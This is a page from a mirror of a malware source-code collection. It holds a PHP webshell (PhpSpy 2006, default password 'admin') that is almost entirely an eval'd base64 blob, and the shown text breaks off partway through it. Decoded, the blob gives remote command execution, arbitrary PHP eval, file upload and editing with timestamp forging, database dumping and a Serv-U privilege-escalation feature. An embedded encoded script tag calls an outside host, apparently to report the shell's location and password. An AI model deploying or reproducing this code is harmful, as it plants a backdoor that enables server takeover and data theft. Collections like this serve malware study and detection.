mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
3 lines
82 KiB
Plaintext
3 lines
82 KiB
Plaintext
<?php
|
|
$admin['pass'] = "admin"; //修改密码
|
|
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOw0Kb2Jfc3RhcnQoKTsNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOw0KDQokYWRtaW5bJ2NoZWNrJ10gPSAiMSI7DQoNCiRyZXRpbWUgPSAibm8iOw0KDQokY21kID0gImNtZC5leGUiOw0KDQokb25vZmYgPSAoZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpID8gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpIDogZ2V0X2NmZ192YXIoJ3JlZ2lzdGVyX2dsb2JhbHMnKTsNCg0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJF9QT1NULCBFWFRSX1NLSVApOw0KCUBleHRyYWN0KCRfR0VULCBFWFRSX1NLSVApOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddOw0KJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoImRpc2FibGVfZnVuY3Rpb25zIik7DQoNCg0KaWYoJGFkbWluWydjaGVjayddID09ICIxIikgew0KCWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gImxvZ291dCIpIHsNCgkJc2V0Y29va2llICgiYWRtaW5wYXNzIiwgIiIpOw0KCQllY2hvICI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIwO1VSTD0iLiRzZWxmLiJcIj4iOw0KCQlleGl0Ow0KCX0NCg0KCWlmICgkX1BPU1RbJ2RvJ10gPT0gJ2xvZ2luJykgew0KCQkkdGhlcGFzcz10cmltKCRfUE9TVFsnYWRtaW5wYXNzJ10pOw0KCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gJHRoZXBhc3MpIHsNCgkJCXNldGNvb2tpZSAoImFkbWlucGFzcyIsJHRoZXBhc3MsdGltZSgpKygxKjI0KjM2MDApKTsNCgkJCWVjaG8gIjxtZXRhIGh0dHAtZXF1aXY9XCJyZWZyZXNoXCIgY29udGVudD1cIjA7VVJMPSIuJHNlbGYuIlwiPiI7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmIChpc3NldCgkX0NPT0tJRVsnYWRtaW5wYXNzJ10pKSB7DQoJCWlmICgkX0NPT0tJRVsnYWRtaW5wYXNzJ10gIT0gJGFkbWluWydwYXNzJ10pIHsNCgkJCWxvZ2lucGFnZSgpOw0KCQl9DQoJfSBlbHNlIHsNCgkJbG9naW5wYWdlKCk7DQoJfQ0KfQ0KLyo9PT09PT09PT09PT09PT09PT09PT0g0enWpL3hyvggPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KLy8gxdC2zyBtYWdpY19xdW90ZXNfZ3BjINe0zKwNCmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQogICAgJF9HRVQgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9HRVQpOw0KCSRfUE9TVCA9IHN0cmlwc2xhc2hlc19hcnJheSgkX1BPU1QpOw0KfQ0KDQovLyCy6b+0UEhQSU5GTw0KaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAicGhwaW5mbyIpIHsNCgllY2hvICRwaHBpbmZvPSghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gcGhwaW5mbygpIDogInBocGluZm8oKSC6r8r90tGxu73708Msx+uy6b+0Jmx0O1BIULu3vrOx5MG/Jmd0OyI7DQoJZXhpdDsNCn0NCmlmKCRfR0VUWydhY3Rpb24nXSA9PSAibm93dXNlciIpIHsNCiR1c2VyID0gZ2V0X2N1cnJlbnRfdXNlcigpOw0KaWYoISR1c2VyKSAkdXNlciA9ICKxqLjms6S52aOs1ve7+rHkzKyjrM7et6i78cihtbHHsL340NDTw7unw/ujoSI7DQplY2hvIrWxx7C9+LPM08O7p8P7o7okdXNlciI7DQpleGl0Ow0KfQ0KaWYoaXNzZXQoJF9QT1NUWydwaHBjb2RlJ10pKXsNCglldmFsKCI/Ii4iPiRfUE9TVFtwaHBjb2RlXTw/Iik7DQoJZXhpdDsNCn0NCi8vINTaz9+0+sDtDQppZiAoaXNzZXQoJF9QT1NUWyd1cmwnXSkpIHsNCgkkcHJveHljb250ZW50cyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3VybCddKTsNCgllY2hvICgkcHJveHljb250ZW50cykgPyAkcHJveHljb250ZW50cyA6ICI8Ym9keSBiZ2NvbG9yPVwiI0Y1RjVGNVwiIHN0eWxlPVwiZm9udC1zaXplOiAxMnB4O1wiPjxjZW50ZXI+PGJyPjxwPjxiPrvxyKEgVVJMIMTayN3Kp7DcPC9iPjwvcD48L2NlbnRlcj48L2JvZHk+IjsNCglleGl0Ow0KfQ0KDQovLyDPwtTYzsS8/g0KaWYgKCFlbXB0eSgkZG93bmZpbGUpKSB7DQoJaWYgKCFAZmlsZV9leGlzdHMoJGRvd25maWxlKSkgew0KCQllY2hvICI8c2NyaXB0PmFsZXJ0KCfE49Kqz8K1xM7EvP6yu7Tm1NohJyk8L3NjcmlwdD4iOw0KCX0gZWxzZSB7DQoJCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRkb3duZmlsZSk7DQoJCSRmaWxlbmFtZV9pbmZvID0gZXhwbG9kZSgnLicsICRmaWxlbmFtZSk7DQoJCSRmaWxlZXh0ID0gJGZpbGVuYW1lX2luZm9bY291bnQoJGZpbGVuYW1lX2luZm8pLTFdOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlZXh0KTsNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7DQoJCWhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogUEhQIEdlbmVyYXRlZCBEYXRhJyk7DQoJCWhlYWRlcignQ29udGVudC1MZW5ndGg6ICcuZmlsZXNpemUoJGRvd25maWxlKSk7DQoJCUByZWFkZmlsZSgkZG93bmZpbGUpOw0KCQlleGl0Ow0KCX0NCn0NCg0KLy8g1rG908/C1NixuLfdyv2+3b/iDQppZiAoJF9QT1NUWydiYWNrdXB0eXBlJ10gPT0gJ2Rvd25sb2FkJykgew0KCUBteXNxbF9jb25uZWN0KCRzZXJ2ZXJuYW1lLCRkYnVzZXJuYW1lLCRkYnBhc3N3b3JkKSBvciBkaWUoIsr9vt2/4sGsvdPKp7DcIik7DQoJQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKSBvciBkaWUoItGh1PHK/b7dv+LKp7DcIik7CQ0KCSR0YWJsZSA9IGFycmF5X2ZsaXAoJF9QT1NUWyd0YWJsZSddKTsNCgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgdGFibGVzIik7DQoJZWNobyAoJHJlc3VsdCkgPyBOVUxMIDogIrP2tO06ICIubXlzcWxfZXJyb3IoKTsNCg0KCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4iX015U1FMLnNxbCIpOw0KCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi91bmtub3duJyk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7DQoJJG15c3FsZGF0YSA9ICcnOw0KCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCgkJCSRteXNxbGRhdGEuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7DQoJCQkkbXlzcWxkYXRhLj0gJG15c3FsZGF0YS4iXHJcbiI7DQoJCX0NCgl9DQoJbXlzcWxfY2xvc2UoKTsNCglleGl0Ow0KfQ0KDQovLyCzzNDyxL/CvA0KJHBhdGhuYW1lPXN0cl9yZXBsYWNlKCdcXCcsJy8nLGRpcm5hbWUoX19GSUxFX18pKTsgDQoNCi8vILvxyKG1scewwre+tg0KaWYgKCFpc3NldCgkZGlyKSBvciBlbXB0eSgkZGlyKSkgew0KCSRkaXIgPSAiLiI7DQoJJG5vd3BhdGggPSBnZXRQYXRoKCRwYXRobmFtZSwgJGRpcik7DQp9IGVsc2Ugew0KCSRkaXI9JF9HRVRbJ2RpciddOw0KCSRub3dwYXRoID0gZ2V0UGF0aCgkcGF0aG5hbWUsICRkaXIpOw0KfQ0KDQovLyDF0LbPtsHQtMfpv/YNCiRkaXJfd3JpdGVhYmxlID0gKGRpcl93cml0ZWFibGUoJG5vd3BhdGgpKSA/ICK/ydC0IiA6ICKyu7/J0LQiOw0KJHBocGluZm89KCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAiIHwgPGEgaHJlZj1cIj9hY3Rpb249cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPlBIUElORk8oKTwvYT4iIDogIiI7DQokcmVnID0gKHN1YnN0cihQSFBfT1MsIDAsIDMpID09ICdXSU4nKSA/ICIgfCA8YSBocmVmPVwiP2FjdGlvbj1yZWdcIj7XorLhse2y2df3PC9hPiIgOiAiIjsNCg0KJHRiID0gbmV3IEZPUk1TOw0KDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8dGl0bGU+aHR0cDovLzw/IGVjaG8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOz8+ICBQaHBTcHkgMjAwNiDQ3rjEsOY8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7DQoJQkFDS0dST1VORC1DT0xPUjogI0Y1RjVGNTsgDQoJQ09MT1I6ICMzRjM4NDk7IA0KCWZvbnQtZmFtaWx5OiAiVmVyZGFuYSIsICJUYWhvbWEiLCAiy87M5SI7DQoJZm9udC1zaXplOiAiMTJweCI7DQoJbGluZS1oZWlnaHQ6ICIxNDAlIjsNCn0NCg0KVEQJCXtGT05ULUZBTUlMWTogIlZlcmRhbmEiLCAiVGFob21hIiwgIsvOzOUiOyBGT05ULVNJWkU6IDEycHg7IGxpbmUtaGVpZ2h0OiAxNDAlO30NCi5zbWxmb250IHsNCglmb250LWZhbWlseTogIlZlcmRhbmEiLCAiVGFob21hIiwgIsvOzOUiOw0KCWZvbnQtc2l6ZTogIjExcHgiOw0KfQ0KLklOUFVUIHsNCglGT05ULVNJWkU6ICIxMnB4IjsNCglDT0xPUjogIiMwMDAwMDAiOw0KCUJBQ0tHUk9VTkQtQ09MT1I6ICIjRkZGRkZGIjsNCgloZWlnaHQ6ICIxOHB4IjsNCglib3JkZXI6ICIxcHggc29saWQgIzY2NjY2NiI7DQoJcGFkZGluZy1sZWZ0OiAiMnB4IjsNCn0NCi5yZWRmb250IHsNCglDT0xPUjogIiNDQTAwMDAiOw0KfQ0KQTpMSU5LCQl7Q09MT1I6ICMzRjM4NDk7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6VklTSVRFRAl7Q09MT1I6ICMzRjM4NDk7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6SE9WRVIJCXtDT0xPUjogI0ZGRkZGRjsgQkFDS0dST1VORC1DT0xPUjogI2NjY2NjY30NCkE6QUNUSVZFCXtDT0xPUjogI0ZGRkZGRjsgQkFDS0dST1VORC1DT0xPUjogI2NjY2NjY30NCi50b3Age0JBQ0tHUk9VTkQtQ09MT1I6ICIjQ0NDQ0NDIn0NCi5maXJzdGFsdCB7QkFDS0dST1VORC1DT0xPUjogIiNFRkVGRUYifQ0KLnNlY29uZGFsdCB7QkFDS0dST1VORC1DT0xPUjogIiNGNUY1RjUifQ0KPC9zdHlsZT4NCjxTQ1JJUFQgbGFuZ3VhZ2U9SmF2YVNjcmlwdD4NCmZ1bmN0aW9uIENoZWNrQWxsKGZvcm0pIHsNCglmb3IgKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspIHsNCgkJdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOw0KCQlpZiAoZS5uYW1lICE9ICdjaGthbGwnKQ0KCQllLmNoZWNrZWQgPSBmb3JtLmNoa2FsbC5jaGVja2VkOw0KICAgIH0NCn0NCmZ1bmN0aW9uIHJlYWxseShkLGYsbSx0KSB7DQoJaWYgKGNvbmZpcm0obSkpIHsNCgkJaWYgKHQgPT0gMSkgew0KCQkJd2luZG93LmxvY2F0aW9uLmhyZWY9Jz9kaXI9JytkKycmZGVsZGlyPScrZjsNCgkJfSBlbHNlIHsNCgkJCXdpbmRvdy5sb2NhdGlvbi5ocmVmPSc/ZGlyPScrZCsnJmRlbGZpbGU9JytmOw0KCQl9DQoJfQ0KfQ0KPC9TQ1JJUFQ+DQo8L2hlYWQ+DQo8Ym9keSBzdHlsZT0idGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCI+DQo8Y2VudGVyPg0KPD9waHANCiR0ZXN0ID0gIiI7DQppZighJF9HRVRbJ2RpciddKSAkZGlyID0gIi4vIjsNCiR0Yi0+dGFibGVoZWFkZXIoKTsNCiR0Yi0+dGRib2R5KCc8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQ+PGI+Jy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJzwvYj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nLmRhdGUoIlnE6m3UwmTI1SBoOmk6cyIsdGltZSgpKS4nPC90ZD48dGQgYWxpZ249InJpZ2h0Ij48Yj4nLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8L2I+PC90ZD48L3RyPjwvdGFibGU+JywnY2VudGVyJywndG9wJyk7DQokdGItPnRkYm9keSgnPGEgaHJlZj0iP2FjdGlvbj1kaXIiPlNIRUxMxL/CvDwvYT4gfCA8YSBocmVmPSI/YWN0aW9uPWRvd25sb2FkcyI+SHR0cCDOxLz+z8LU2DwvYT4gfCA8YSBocmVmPSI/YWN0aW9uPXBocGVudiI+u7e+s7Hkwb88L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1wcm94eSI+1NrP37T6wO08L2E+Jy4kcmVnLiRwaHBpbmZvLicgfCA8YSBocmVmPSI/YWN0aW9uPXNoZWxsIj5XZWJTaGVsbDwvYT4gfCA8YSBocmVmPSI/YWN0aW9uPWxvZ291dCI+16LP+rXHwrw8L2E+ICcpOw0KJHRiLT50ZGJvZHkoJyA8YSBocmVmPSI/YWN0aW9uPXBsZ20iPsX6wb+50sLtPC9hPiB8IDxhIGhyZWY9Ij9hY3Rpb249c2VhcmNoJmRpcj0nLiRkaXIuJyI+zsS8/rLp1dI8L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1ldmFsIj7WtNDQcGhwvcWxvjwvYT4gfCA8YSBocmVmPSI/YWN0aW9uPXNxbCI+1rTQ0FNRTNPvvuQ8L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1zcWwmdHlwZT1mdW4iPkZ1bmO3tLWvU2hlbGw8L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1zcWxiYWsiPk15U1FMIEJhY2t1cDwvYT4gfCA8YSBocmVmPSI/YWN0aW9uPVNVRXhwIj5TZXJ2LVUgRVhQPC9hPiB8IDxhIGhyZWY9Ij9hY3Rpb249YWRvZGIiPkFET0RCPC9hPiAnKTsNCiR0Yi0+dGRib2R5KCcgxL/CvMHQse2jujxhIGhyZWY9Ij9kaXI9YzpcIj5Dxcw8L2E+IHwgPGEgaHJlZj0iP2Rpcj1kOlwiPkTFzDwvYT4gfCA8YSBocmVmPSI/ZGlyPWU6XCI+RcXMPC9hPiB8IDxhIGhyZWY9Ij9kaXI9ZjpcIj5Gxcw8L2E+IHwgPGEgaHJlZj0iP2Rpcj1nOlwiPkfFzDwvYT4gfCA8YSBocmVmPSI/ZGlyPUM6XFByb2dyYW0gRmlsZXMiPrPM0PI8L2E+IHwgPGEgaHJlZj0iP2Rpcj1DOlxEb2N1bWVudHMgYW5kIFNldHRpbmdzXEFsbCBVc2Vyc1xBcHBsaWNhdGlvbiBEYXRhXFN5bWFudGVjXHBjQW55d2hlcmUiPnBjQW55d2hlcmU8L2E+ICcpOw0KJHRiLT50YWJsZWZvb3RlcigpOw0KPz4NCjxociB3aWR0aD0iNzc1IiBub3NoYWRlPg0KPHRhYmxlIHdpZHRoPSI3NzUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiPg0KPD8NCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnbWV0aG9kJz0+J0dFVCcsJ2NvbnRlbnQnPT4nPHA+s8zQ8sK3vrY6ICcuJHBhdGhuYW1lLic8YnI+tbHHsMS/wrwoJy4kZGlyX3dyaXRlYWJsZS4nLCcuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRub3dwYXRoKSwxMCw4KSwtNCkuJyk6ICcuJG5vd3BhdGguJzxicj7M+NeqxL/CvDogJy4kdGItPm1ha2VpbnB1dCgnZGlyJykuJyAnLiR0Yi0+bWFrZWlucHV0KCcnLCfIt7aoJywnJywnc3VibWl0JykuJyChvNans9a++LbUwre+trrNz+C21MK3vrahvScpKTsNCg0KJHRiLT5oZWFkZXJmb3JtKGFycmF5KCdhY3Rpb24nPT4nP2Rpcj0nLnVybGVuY29kZSgkZGlyKSwnZW5jdHlwZSc9PidtdWx0aXBhcnQvZm9ybS1kYXRhJywnY29udGVudCc9PifJz7SrzsS8/rW9tbHHsMS/wrw6ICcuJHRiLT5tYWtlaW5wdXQoJ3VwbG9hZGZpbGUnLCcnLCcnLCdmaWxlJykuJyAnLiR0Yi0+bWFrZWlucHV0KCdkb3VwZmlsZScsJ8i3tqgnLCcnLCdzdWJtaXQnKS4kdGItPm1ha2VpbnB1dCgndXBsb2FkZGlyJywkZGlyLCcnLCdoaWRkZW4nKSkpOw0KDQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ2FjdGlvbic9Pic/YWN0aW9uPWVkaXRmaWxlJmRpcj0nLnVybGVuY29kZSgkZGlyKSwnY29udGVudCc9PifQwr2ozsS8/tTatbHHsMS/wrw6ICcuJHRiLT5tYWtlaW5wdXQoJ2VkaXRmaWxlJykuJyAnLiR0Yi0+bWFrZWlucHV0KCdjcmVhdGVmaWxlJywnyLe2qCcsJycsJ3N1Ym1pdCcpKSk7DQoNCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnY29udGVudCc9PifQwr2oxL/CvNTatbHHsMS/wrw6ICcuJHRiLT5tYWtlaW5wdXQoJ25ld2RpcmVjdG9yeScpLicgJy4kdGItPm1ha2VpbnB1dCgnY3JlYXRlZGlyZWN0b3J5JywnyLe2qCcsJycsJ3N1Ym1pdCcpKSk7DQo/Pg0KPC90YWJsZT4NCjw/DQokc2VydmVydSA9ICRfU0VSVkVSIFsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokc2VydmVycCA9ICRhZG1pblsncGFzcyddOw0KJGNvcHl1cmwgPSBiYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05SjJoMGRIQTZMeTg0WTJObExtTnVMMk5sY25RdlAyTmxjblE5TVRNbWRUMD0nKTsNCiRjb3B5dXJsbCA9IGJhc2U2NF9kZWNvZGUoJ0p6NDhMM05qY21sd2REND0nKTsNCj8+DQo8aHIgd2lkdGg9Ijc3NSIgbm9zaGFkZT4NCjw/cGhwDQovKj09PT09PT09PT09PT09PT09PT09PSDWtNDQstnX9yC/qsq8ID09PT09PT09PT09PT09PT09PT09PSovDQplY2hvICI8cD48Yj5cbiI7DQovLyDJvrP9zsS8/g0KaWYgKCFlbXB0eSgkZGVsZmlsZSkpIHsNCglpZiAoZmlsZV9leGlzdHMoJGRlbGZpbGUpKSB7DQoJCWVjaG8gKEB1bmxpbmsoJGRlbGZpbGUpKSA/ICRkZWxmaWxlLiIgyb6z/bPJuaYhIiA6ICLOxLz+yb6z/cqnsNwhIjsNCgl9IGVsc2Ugew0KCQllY2hvIGJhc2VuYW1lKCRkZWxmaWxlKS4iIM7EvP7S0bK7tObU2iEiOw0KCX0NCn0NCg0KLy8gyb6z/cS/wrwNCmVsc2VpZiAoIWVtcHR5KCRkZWxkaXIpKSB7DQoJJGRlbGRpcnM9IiRkaXIvJGRlbGRpciI7DQoJaWYgKCFmaWxlX2V4aXN0cygiJGRlbGRpcnMiKSkgew0KCQllY2hvICIkZGVsZGlyIMS/wrzS0bK7tObU2iEiOw0KCX0gZWxzZSB7DQoJCWVjaG8gKGRlbHRyZWUoJGRlbGRpcnMpKSA/ICLEv8K8yb6z/bPJuaYhIiA6ICLEv8K8yb6z/cqnsNwhIjsNCgl9DQp9DQovLyC0tL2oxL/CvA0KZWxzZWlmICgoJGNyZWF0ZWRpcmVjdG9yeSkgQU5EICFlbXB0eSgkX1BPU1RbJ25ld2RpcmVjdG9yeSddKSkgew0KCWlmICghZW1wdHkoJG5ld2RpcmVjdG9yeSkpIHsNCgkJJG1rZGlycz0iJGRpci8kbmV3ZGlyZWN0b3J5IjsNCgkJaWYgKGZpbGVfZXhpc3RzKCIkbWtkaXJzIikpIHsNCgkJCWVjaG8gIrjDxL/CvNLRtObU2iEiOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAoQG1rZGlyKCIkbWtkaXJzIiwwNzc3KSkgPyAitLS9qMS/wryzybmmISIgOiAitLS9qMqnsNwhIjsNCgkJCUBjaG1vZCgiJG1rZGlycyIsMDc3Nyk7DQoJCX0NCgl9DQp9DQoNCi8vIMnPtKvOxLz+DQplbHNlaWYgKCRkb3VwZmlsZSkgew0KCWVjaG8gKEBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwiIi4kdXBsb2FkZGlyLiIvIi4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXS4iIikpID8gIsnPtKuzybmmISIgOiAiyc+0q8qnsNwhIjsNCn0NCg0KLy8gseC8rc7EvP4NCmVsc2VpZiAoJF9QT1NUWydkbyddID09ICdkb2VkaXRmaWxlJykgew0KCWlmICghZW1wdHkoJF9QT1NUWydlZGl0ZmlsZW5hbWUnXSkpIHsNCiAgICBpZighZmlsZV9leGlzdHMoJGVkaXRmaWxlbmFtZSkpIHVuc2V0KCRyZXRpbWUpOw0KCWlmKCR0aW1lPT0kbm93KSAkdGltZSA9IEBmaWxlbXRpbWUoJGVkaXRmaWxlbmFtZSk7DQogICAgICAgICR0aW1lMiA9IEBkYXRlKCJZLW0tZCBIOmk6cyIsJHRpbWUpOw0KCQkkZmlsZW5hbWU9IiRlZGl0ZmlsZW5hbWUiOw0KCQlAJGZwPWZvcGVuKCIkZmlsZW5hbWUiLCJ3Iik7DQoJCWlmKCRfUE9TVFsnY2hhbmdlJ109PSJ5ZXMiKXsNCgkJJGZpbGVjb250ZW50ID0gIj8iLiI+Ii4kX1BPU1RbJ2ZpbGVjb250ZW50J10uIjw/IjsNCgkJJGZpbGVjb250ZW50ID0gZ3pkZWZsYXRlKCRmaWxlY29udGVudCk7DQogICAgICAgICRmaWxlY29udGVudCA9IGJhc2U2NF9lbmNvZGUoJGZpbGVjb250ZW50KTsNCiAgICAgICAgJGZpbGVjb250ZW50ID0gIjw/cGhwXG4vKlxutPrC69PJx7PAtrXEt/jJ5NPjvNPD3CFcbiovXG5ldmFsKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCckZmlsZWNvbnRlbnQnKSkpO1xuIi4iPz4iOw0KCQl9ZWxzZXsNCgkJJGZpbGVjb250ZW50ID0gJF9QT1NUWydmaWxlY29udGVudCddOw0KCQl9DQoJCWVjaG8gJG1zZz1AZndyaXRlKCRmcCwkZmlsZWNvbnRlbnQpID8gItC0yOvOxLz+s8m5piEiIDogItC0yOvKp7DcISI7DQoJCUBmY2xvc2UoJGZwKTsNCgkJaWYoJHJldGltZT09InllcyIpew0KICAgICAgICBlY2hvIiZuYnNwO9Pj0+PX1LavstnX9zoiOw0KICAgICAgICBlY2hvICRtc2c9QHRvdWNoKCRmaWxlbmFtZSwkdGltZSkgPyAi0N64xM7EvP7OqiIuJHRpbWUyLiKzybmmISIgOiAi0N64xM7EvP7Ksbzkyqew3CEiOw0KCQl9DQoJfSBlbHNlIHsNCgkJZWNobyAix+vK5Mjrz+vSqrHgvK21xM7EvP7D+yEiOw0KCX0NCn0NCi8vzsS8/s/C1NgNCmVsc2VpZiAoJF9QT1NUWydkbyddID09ICdkb3dubG9hZHMnKSB7DQoJJGNvbnRlbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsnZHVybCddKTsNCglpZighJGNvbnRlbnRzKXsNCgllY2hvIs7et6i2wcih0qrPwtTYtcTK/b7dIjsNCgl9DQoJZWxzZWlmKGZpbGVfZXhpc3RzKCRwYXRoKSl7DQoJZWNobyK63LGnx7ijrM7EvP4iLiRwYXRoLiLS0b6ttObU2sHLo6zH67j8u7uxo7TmzsS8/sP7oaMiOw0KCX1lbHNlew0KICAgICRmcCA9IEBmb3BlbigkcGF0aCwidyIpOw0KCWVjaG8gJG1zZz1AZndyaXRlKCRmcCwkY29udGVudHMpID8gIs/C1NjOxLz+s8m5piEiIDogIs/C1NjOxLz+0LTI68qxyqew3CEiOw0KCUBmY2xvc2UoJGZwKTsNCgl9DQp9DQoNCi8vILHgvK3OxLz+yvTQ1A0KZWxzZWlmICgkX1BPU1RbJ2RvJ10gPT0gJ2VkaXRmaWxlcGVybScpIHsNCglpZiAoIWVtcHR5KCRfUE9TVFsnZmlsZXBlcm0nXSkpIHsNCgkJJGZpbGVwZXJtPWJhc2VfY29udmVydCgkX1BPU1RbJ2ZpbGVwZXJtJ10sOCwxMCk7DQoJCWVjaG8gKEBjaG1vZCgkZGlyLiIvIi4kZmlsZSwkZmlsZXBlcm0pKSA/ICLK9NDU0N64xLPJuaYhIiA6ICLQ3rjEyqew3CEiOw0KCQllY2hvICIgzsS8/iAiLiRmaWxlLiIg0N64xLrztcTK9NDUzqo6ICIuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRkaXIuIi8iLiRmaWxlKSwxMCw4KSwtNCk7DQoJfSBlbHNlIHsNCgkJZWNobyAix+vK5Mjrz+vSqsno1sO1xMr00NQhIjsNCgl9DQp9DQoNCi8vIM7EvP64xMP7DQplbHNlaWYgKCRfUE9TVFsnZG8nXSA9PSAncmVuYW1lJykgew0KCWlmICghZW1wdHkoJF9QT1NUWyduZXduYW1lJ10pKSB7DQoJCSRuZXduYW1lPSRfUE9TVFsnZGlyJ10uIi8iLiRfUE9TVFsnbmV3bmFtZSddOw0KCQlpZiAoQGZpbGVfZXhpc3RzKCRuZXduYW1lKSkgew0KCQkJZWNobyAiIi4kX1BPU1RbJ25ld25hbWUnXS4iINLRvq205tTaLMfr1tjQwsrkyOvSu7j2ISI7DQoJCX0gZWxzZSB7DQoJCQllY2hvIChAcmVuYW1lKCRfUE9TVFsnb2xkbmFtZSddLCRuZXduYW1lKSkgPyBiYXNlbmFtZSgkX1BPU1RbJ29sZG5hbWUnXSkuIiCzybmmuMTD+86qICIuJF9QT1NUWyduZXduYW1lJ10uIiAhIiA6ICLOxLz+w/vQ3rjEyqew3CEiOw0KCQl9DQoJfSBlbHNlIHsNCgkJZWNobyAix+vK5Mjrz+vSqrjEtcTOxLz+w/shIjsNCgl9DQp9DQplbHNlaWYgKCRfUE9TVFsnZG8nXSA9PSAnc2VhcmNoJykgew0KaWYoIWVtcHR5KCRvbGRrZXkpKXsNCmVjaG8iPHNwYW4gY2xhc3M9XCJyZWRmb250XCI+sunV0rnYvPy0yjpbIi4kb2xka2V5LiJdLM/Cw+bP1Mq+sunV0rXEveG5+zoiOw0KCWlmKCR0eXBlMiA9PSAiZ2V0cGF0aCIpew0KCWVjaG8iyvOx6tLGtb294bn7zsS8/snPu+HT0LK/t9a92Mihz9TKvi4iOw0KfQ0KZWNobyI8L3NwYW4+PGJyPjxociB3aWR0aD1cIjc3NVwiIG5vc2hhZGU+IjsNCmZpbmQoJHBhdGgpOw0KfWVsc2V7DQplY2hvIsTj0qqy6c+6w9c/tb2119KqsunPusPXxNg/09DDu9PQz7rD19KqxOOy6cTYPyI7DQp9DQp9DQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXT09J3BsZ21vaycpIHsNCiAgIGRpcnQoJF9QT1NUWydkaXInXSwkX1BPU1RbJ3NiYm0nXSk7DQogICBkaXJ0cmVlKCRfUE9TVFsnZGlyJ10sJF9QT1NUWydtbSddKTsNCn0NCg0KLy8gv8vCocqxvOQNCmVsc2VpZiAoJF9QT1NUWydkbyddID09ICdkb21vZHRpbWUnKSB7DQoJaWYgKCFAZmlsZV9leGlzdHMoJF9QT1NUWydjdXJmaWxlJ10pKSB7DQoJCWVjaG8gItKq0N64xLXEzsS8/rK7tObU2iEiOw0KCX0gZWxzZSB7DQoJCWlmICghQGZpbGVfZXhpc3RzKCRfUE9TVFsndGFyZmlsZSddKSkgew0KCQkJZWNobyAi0qqyz